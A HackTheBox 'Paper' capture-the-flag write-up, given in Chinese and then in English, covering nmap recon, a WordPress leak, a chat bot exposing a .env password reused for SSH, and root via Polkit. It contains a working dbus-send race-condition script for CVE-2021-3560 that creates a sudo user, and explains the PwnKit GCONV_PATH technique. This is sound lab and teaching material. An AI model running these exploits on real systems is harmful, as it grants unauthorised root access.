HackTheBox Paper Writeup

HackTheBox Paper 是一台简单难度的 Linux 机器。本文按照信息收集、初始访问、横向或提权路径的顺序整理完整解题过程,突出关键漏洞点、凭据来源与最终拿到 user/root 或域权限的利用链。

htb paper

Information Gathering

# Nmap 7.98 scan initiated Thu Dec 25 18:05:58 2025 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.143
Nmap scan report for paper.htb (10.10.11.143)
Host is up (0.095s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
|   256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_  256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp  open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
| http-methods:
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_  Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
443/tcp open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
| tls-alpn:
|_  http/1.1
| http-methods:
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_  Potentially risky methods: TRACE
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Issuer: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-07-03T08:52:34
| Not valid after:  2022-07-08T10:32:34
| MD5:     579a 92bd 803c ac47 d49c 5add e44e 4f84
| SHA-1:   61a2 301f 9e5c 2603 a643 00b5 e5da 5fd5 c175 f3a9
|_SHA-256: d5f0 f409 8515 2a6f eae7 437b 7ef0 888a 983c 503d 759a 2c07 1204 b408 a42b 0fc3
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Uptime guess: 30.160 days (since Tue Nov 25 14:16:02 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 25 18:06:20 2025 -- 1 IP address (1 host up) scanned in 21.80 seconds

Vulnerability Analysis

image 121.png

更改请求方法得到虚拟主机

进入http://office.paper/得到wordpress的blog

在页面中发现一个泄露

image 122.png

其次我们查看到wordpress版本号为5.2.3得到漏洞

http://office.paper/?static=1输入后得到注册网址http://chat.office.paper/register/8qozr226AhkCHZdyY

Exploitation (User Flag)

注册后在# general中得到一个机器人,私自发信息给他

枚举后file ../hubot/.env得到

export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1

查看/etc/passwd →rocketchat和dwight

image 123.png

  Paper ssh dwight@paper.htb
# Queenofblad3s!23

Privilege Escalation (Root Flag)

[dwight@paper ~]$ rpm -qa | grep polkit
polkit-0.115-6.el8.x86_64

得到CVE-2021-3560,竞争条件漏洞

CVE-2021-3560 的核心在于:如果在 Polkit 还在查询用户信息的时候,我们突然杀死了你的进程,会发生什么?

发送请求(比如:“我要创建一个 Root 用户”)。
Polkit 接到请求,准备去查UID。
然后在极短的时间内(几毫秒)杀掉 (Kill) 刚才发送请求的进程。
Polkit 懵了。它去 /proc 查我们的 PID,结果发现进程不见了。
Bug 出现了: Polkit 的代码中有一个错误处理逻辑。当它无法获取请求者的 UID 时,它没有报错拒绝,而是默认把请求者的 UID 判定为 0 (Root)。
结果:Polkit 认为“哦,原来是 Root 发起的请求啊,那不需要密码”,直接放行。
AccountService 收到 Polkit 的“放行”指令,帮我们创建了用户。

分两段进行

echo "[*] Starting Phase 1: Creating user 'hacker'..."
# 成功标志:id hacker 命令能查到信息
while ! id hacker >/dev/null 2>&1; do
    dbus-send --system --dest=org.freedesktop.Accounts \
    --type=method_call --print-reply \
    /org/freedesktop/Accounts \
    org.freedesktop.Accounts.CreateUser \
    string:"hacker" string:"Hacker Account" int32:1 & \
    sleep 0.005; \
    kill $!;
done
echo "[+] User 'hacker' created successfully!"
echo "[*] Starting Phase 2: Setting password..."

# 1. 生成密码 'password123' 的 SHA-512 哈希
myhash=$(openssl passwd -5 password123)

# 2. 获取刚才创建的 hacker 用户的 UID
target_uid=$(id -u hacker)
echo "[*] Target UID is: $target_uid"

# 3. 循环攻击 SetPassword 接口
# 我们不依赖报错判断,而是跑它个 50 次,大概率能中
for i in {1..50}; do
    dbus-send --system --dest=org.freedesktop.Accounts \
    --type=method_call --print-reply \
    /org/freedesktop/Accounts/User$target_uid \
    org.freedesktop.Accounts.User.SetPassword \
    string:"$myhash" string:"ask" & \
    sleep 0.005; \
    kill $!;
done
echo "[*] Attack loops finished. Try logging in now."
# 这个多尝试几次
su hacker
# 输入密码:password123
sudo -l
# 你会看到 (ALL : ALL) ALL
sudo bash
# 获得 ROOT 权限

Lessons Learned

CVE-2021-4034 当一个程序(比如 pkexec)启动时,内核会将参数(argv)和环境变量(envp)放在栈上,而且它们是紧挨着的:

| argv[0] | argv[1] | ... | argv[argc] (NULL) | envp[0] | envp[1] | ... |
  • argv 存放你输入的命令参数。
  • envp 存放环境变量(如 PATH=/bin, HOME=/root)。
  • 正常情况下,argv 列表是以 NULL 结尾的,用来告诉程序参数读完了。

pkexec 的源码里大概是这样写的(伪代码):

main(int argc, char *argv[]) {
    // 目标:找到要执行的程序名
    // 正常用法:pkexec bash (argv[0]="pkexec", argv[1]="bash")
    // n 初始为 1
    for (n = 1; n < argc; n++) {
        // ... 一些检查 ...
        // 如果一切正常,把 argv[n] 设为要执行的程序路径
        path = argv[n]; 
        break; 
    }
    // ... 后面会查找 path 的绝对路径并执行 ...
}

argc 为 0 时发生:

  • 循环条件 n < argc (1 < 0) 不满足,循环直接跳过。
  • 但是! 代码后面仍然尝试去读取 argv[n](即 argv[1])来获取要执行的程序名。
  • 回到上面的内存图:由于 argv 是空的,argv[1] 的位置实际上越界读到了 envp[0](第一个环境变量)。

pkexec第一个环境变量当成了它要执行的程序名

攻击链:如何利用这个“错位”

仅仅把环境变量当成程序名还不足以提权,我们需要结合 pkexec 的另一个特性:重新加载环境变量

当你运行 pkexec 时,为了安全,它会清除一些危险的环境变量(比如 LD_PRELOAD),防止你注入恶意库。但是,我们可以利用上述的“错位”把它骗回来。

步骤演示

  1. 构造特殊的 envp 我们通过 execve 启动 pkexec,并传入这样的环境变量列表:
    • envp[0]: "pwnkit" (这会被当成 argv[1])
    • envp[1]: "PATH=GCONV_PATH=."
    • envp[2]: …
  2. pkexec 的反应
    • 它读到 envp[0] (“pwnkit”),以为这是用户想执行的程序。
    • 它试图在 PATH 里寻找这个程序。
    • 由于找不到,它会报错并尝试打印错误信息。
  3. GCONV_PATH 注入 (关键一击)
    • 在 Linux 中,打印错误信息有时需要字符集转换(比如转成 UTF-8),这会用到 iconv 库。
    • iconv 会读取一个环境变量叫 GCONV_PATH 来寻找转换库(.so 文件)。
    • 通常 GCONV_PATH 是被 pkexec 过滤掉的(不安全的变量)。
    • 但是,由于刚才的越界写入,我们把 "PATH=GCONV_PATH=." 这个字符串通过一系列复杂的逻辑写回了环境变量区域。
    • pkexec 触发错误打印时,它意外地加载了我们指定的 GCONV_PATH
  4. 执行恶意代码
    • 我们只需要在当前目录下放一个恶意的 .so 文件,并伪装成字符转换库。
    • pkexec(此时是 root 权限)加载这个库。
    • 库里的代码执行 setuid(0); system("/bin/sh");
    • BOOM! Root Shell.

HTB paper

Information Gathering

# Nmap 7.98 scan initiated Thu Dec 25 18:05:58 2025 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.143
Nmap scan report for paper.htb (10.10.11.143)
Host is up (0.095s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
|   256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_  256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp  open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
| http-methods:
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_  Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
443/tcp open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
| tls-alpn:
|_  http/1.1
| http-methods:
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_  Potentially risky methods: TRACE
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Issuer: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-07-03T08:52:34
| Not valid after:  2022-07-08T10:32:34
| MD5:     579a 92bd 803c ac47 d49c 5add e44e 4f84
| SHA-1:   61a2 301f 9e5c 2603 a643 00b5 e5da 5fd5 c175 f3a9
|_SHA-256: d5f0 f409 8515 2a6f eae7 437b 7ef0 888a 983c 503d 759a 2c07 1204 b408 a42b 0fc3
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Uptime guess: 30.160 days (since Tue Nov 25 14:16:02 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 25 18:06:20 2025 -- 1 IP address (1 host up) scanned in 21.80 seconds

Vulnerability Analysis

image 121.png

Changing the request method reveals a virtual host.

Accessing http://office.paper/ leads to a WordPress blog.

A leak is discovered on the page.

image 122.png

Furthermore, we found the WordPress version to be 5.2.3, which has a vulnerability.

Inputting http://office.paper/?static=1 reveals the registration URL http://chat.office.paper/register/8qozr226AhkCHZdyY.

Exploitation (User Flag)

After registering, we find a bot in the # general channel. Send it a private message.

After enumeration, file ../hubot/.env reveals:

export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1

Checking /etc/passwd → rocketchat and dwight.

image 123.png

  Paper ssh dwight@paper.htb
# Queenofblad3s!23

Privilege Escalation (Root Flag)

[dwight@paper ~]$ rpm -qa | grep polkit
polkit-0.115-6.el8.x86_64

We find CVE-2021-3560, a race condition vulnerability.

The core of CVE-2021-3560 is: What happens if we suddenly kill your process while Polkit is still querying user information?

Send a request (e.g., "I want to create a Root user").
Polkit receives the request and prepares to query the UID.
Then, within an extremely short time (a few milliseconds), kill (Kill) the process that just sent the request.
Polkit is confused. It goes to /proc to find our PID, but the process is gone.
The bug appears: There is an error handling logic in Polkit's code. When it cannot get the requester's UID, instead of reporting an error and denying, it defaults the requester's UID to 0 (Root).
Result: Polkit thinks "Oh, it was Root who initiated the request, no password needed," and approves it.
AccountService receives Polkit's "approval" command and creates the user for us.

Executed in two phases.

echo "[*] Starting Phase 1: Creating user 'hacker'..."
# Success marker: the 'id hacker' command returns info
while ! id hacker >/dev/null 2>&1; do
    dbus-send --system --dest=org.freedesktop.Accounts \
    --type=method_call --print-reply \
    /org/freedesktop/Accounts \
    org.freedesktop.Accounts.CreateUser \
    string:"hacker" string:"Hacker Account" int32:1 & \
    sleep 0.005; \
    kill $!;
done
echo "[+] User 'hacker' created successfully!"
echo "[*] Starting Phase 2: Setting password..."

# 1. Generate SHA-512 hash for password 'password123'
myhash=$(openssl passwd -5 password123)

# 2. Get the UID of the hacker user we just created
target_uid=$(id -u hacker)
echo "[*] Target UID is: $target_uid"

# 3. Loop attack the SetPassword interface
# We don't rely on errors; just run it 50 times for a high chance of success
for i in {1..50}; do
    dbus-send --system --dest=org.freedesktop.Accounts \
    --type=method_call --print-reply \
    /org/freedesktop/Accounts/User$target_uid \
    org.freedesktop.Accounts.User.SetPassword \
    string:"$myhash" string:"ask" & \
    sleep 0.005; \
    kill $!;
done
echo "[*] Attack loops finished. Try logging in now."
# Try this a few more times
su hacker
# Enter password: password123
sudo -l
# You will see (ALL : ALL) ALL
sudo bash
# Obtain ROOT privileges

Lessons Learned

CVE-2021-4034 When a program (like pkexec) starts, the kernel places the arguments (argv) and environment variables (envp) on the stack, and they are adjacent:

| argv[0] | argv[1] | ... | argv[argc] (NULL) | envp[0] | envp[1] | ... |
  • argv stores the command-line arguments you entered.
  • envp stores environment variables (e.g., PATH=/bin, HOME=/root).
  • Normally, the argv list is terminated by NULL to signal the end of arguments.

The source code for pkexec roughly looks like this (pseudo-code):

main(int argc, char *argv[]) {
    // Goal: Find the program name to execute
    // Normal usage: pkexec bash (argv[0]="pkexec", argv[1]="bash")
    // n initially 1
    for (n = 1; n < argc; n++) {
        // ... some checks ...
        // If all is well, set argv[n] as the program path to execute
        path = argv[n]; 
        break; 
    }
    // ... later code finds the absolute path of 'path' and executes it ...
}

What happens when argc is 0:

  • The loop condition n < argc (1 < 0) is not met, so the loop is skipped entirely.
  • However! The code later still attempts to read argv[n] (i.e., argv[1]) to get the program name to execute.
  • Referring back to the memory diagram above: Since argv is empty, the position for argv[1] actually overflows and reads envp[0] (the first environment variable).

pkexec treats the first environment variable as the program name it is supposed to execute.

Attack Chain: How to Exploit This “Mismatch”

Simply treating an environment variable as the program name isn’t enough for privilege escalation. We need to combine it with another feature of pkexec: reloading environment variables.

When you run pkexec, for security, it clears some dangerous environment variables (like LD_PRELOAD) to prevent you from injecting malicious libraries. However, we can use the aforementioned “mismatch” trick to bypass this.

Step-by-Step Demonstration

  1. Crafting a Special envp We launch pkexec via execve and pass it the following environment variable list:

    • envp[0]: "pwnkit" (this will be treated as argv[1])
    • envp[1]: "PATH=GCONV_PATH=."
    • envp[2]: …
  2. The Reaction of pkexec

    • It reads envp[0] (“pwnkit”) and assumes it is the program the user wants to execute.
    • It tries to find this program in PATH.
    • Upon failure, it reports an error and attempts to print the error message.
  3. GCONV_PATH Injection (The Critical Strike)

    • On Linux, printing error messages sometimes requires character set conversion (e.g., to UTF-8), which uses the iconv library.
    • iconv reads an environment variable called GCONV_PATH to locate the conversion library (.so file).
    • Normally, GCONV_PATH is filtered out by pkexec (considered an unsafe variable).
    • However, due to the out-of-bounds write we performed earlier, the string "PATH=GCONV_PATH=." was written back into the environment variable area through a complex sequence of logic.
    • When pkexec triggers error printing, it unexpectedly loads the GCONV_PATH we specified.
  4. Executing Malicious Code

    • We simply place a malicious .so file in the current directory, disguised as a character conversion library.
    • pkexec (running with root privileges) loads this library.
    • The code inside the library executes setuid(0); system("/bin/sh");.
    • BOOM! Root Shell.